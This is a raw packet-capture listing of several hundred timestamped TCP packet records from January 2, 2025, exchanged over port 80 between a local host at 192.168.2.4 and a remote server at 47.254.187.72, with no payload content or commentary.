Jan 2, 2025 20:34:56.662225962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.662251949 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.662271023 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.663727045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.663737059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.663753033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.663764954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.663773060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.663783073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.663824081 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.667318106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.667340994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.667351007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.667356968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.667363882 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.667388916 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.667399883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.668875933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.668924093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.668932915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.668943882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.668945074 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.668953896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.668993950 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.672275066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.672305107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.672314882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.672326088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.672333956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.672348976 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.672363997 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.673901081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.673911095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.673922062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.673953056 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.673985958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.677400112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.677417040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.677428961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.677438974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.677452087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.677462101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.677495956 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.679119110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.679131985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.679141998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.679176092 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.679188967 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.680747032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.680763006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.680775881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.680784941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.680795908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.680798054 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.680805922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.680826902 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.680856943 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.684250116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.684295893 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.684334993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.684345007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.684355974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.684365988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.684376955 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.684416056 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.685980082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.685991049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.686007023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.686017036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.686028004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.686028004 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.686064005 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.689423084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.689476967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.689486027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.689496040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.689507008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.689507008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.689543962 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.691284895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.691297054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.691307068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.691323042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.691330910 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.691365004 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.692748070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.692789078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.692797899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.692807913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.692819118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.692826033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.692852974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.692883015 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.696278095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.696289062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.696300030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.696310043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.696329117 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.696346045 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.697809935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.697866917 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.697889090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.697899103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.697907925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.697917938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.697928905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.697947025 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.697978973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.701368093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.701379061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.701395988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.701407909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.701416016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.701422930 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.701452017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.702975988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.702986956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.702997923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.703018904 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.703039885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.704765081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.704782963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.704793930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.704803944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.704819918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.704824924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.704850912 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.704870939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.718163967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.718174934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.718190908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.718199968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.718205929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.718210936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.718216896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.718215942 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.718255997 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.719827890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.719871998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.719881058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.719892025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.719902039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.719914913 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.719926119 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.719940901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.719935894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.719953060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.719963074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.719974995 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.719995022 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.724966049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.724980116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.724997044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.725007057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.725008011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.725018024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.725033045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.725049019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.725055933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.725060940 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.725070953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.725089073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.725109100 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.730102062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.730119944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.730129957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.730139971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.730150938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.730159998 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.730160952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.730170965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.730200052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.730226994 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.735330105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.735342026 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.735358953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.735368967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.735374928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.735379934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.735390902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.735404968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.735423088 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.738712072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.738723040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.738734007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.738743067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.738759041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.738759995 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.738769054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.738780022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.738785982 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.738806009 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.738817930 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.744363070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.744380951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.744395018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.744414091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.744420052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.744424105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.744471073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.830689907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.830704927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.830717087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.830751896 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.830787897 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.831309080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.831353903 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.833956957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.833970070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.833981037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.833992004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.834028959 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.834047079 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.835855007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.835867882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.835877895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.835887909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.835916996 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.835941076 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.839150906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.839164019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.839174986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.839184999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.839195013 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.839215994 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.842406988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.842417955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.842428923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.842439890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.842447042 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.842464924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.842489958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.843692064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.843703032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.843714952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.843729019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.843733072 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.843758106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.843771935 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.847105980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.847117901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.847130060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.847147942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.847151041 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.847176075 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.847201109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.848476887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.848489046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.848500967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.848511934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.848519087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.848530054 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.848562956 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.851119041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.851130009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.851140976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.851157904 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.851176977 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.853782892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.853801012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.853813887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.853823900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.853835106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.853852987 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.853882074 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.856286049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.856297016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.856307983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.856312990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.856329918 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.856369972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.859893084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.859910965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.859921932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.859931946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.859942913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.859963894 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.859973907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.859983921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.859985113 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.860002995 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.860022068 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.863429070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.863441944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.863451958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.863477945 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.863513947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.865078926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.865127087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.865143061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.865164995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.865175962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.865180016 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.865185976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.865190029 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.865211964 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.865235090 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.868263006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.868274927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.868284941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.868309021 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.868320942 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.870343924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.870399952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.870412111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.870412111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.870423079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.870433092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.870440960 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.870471954 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.871710062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.871756077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.871769905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.871782064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.871793032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.871804953 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.871822119 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.875854969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.875870943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.875883102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.875894070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.875906944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.875931978 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.878731966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.878743887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.878755093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.878765106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.878787041 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.878808022 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.879046917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.879098892 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.879110098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.879120111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.879132032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.879142046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.879154921 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.879173040 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:56.882108927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.882119894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:56.882131100 CET	80	49730	47.254.187.72	192.168.2.4
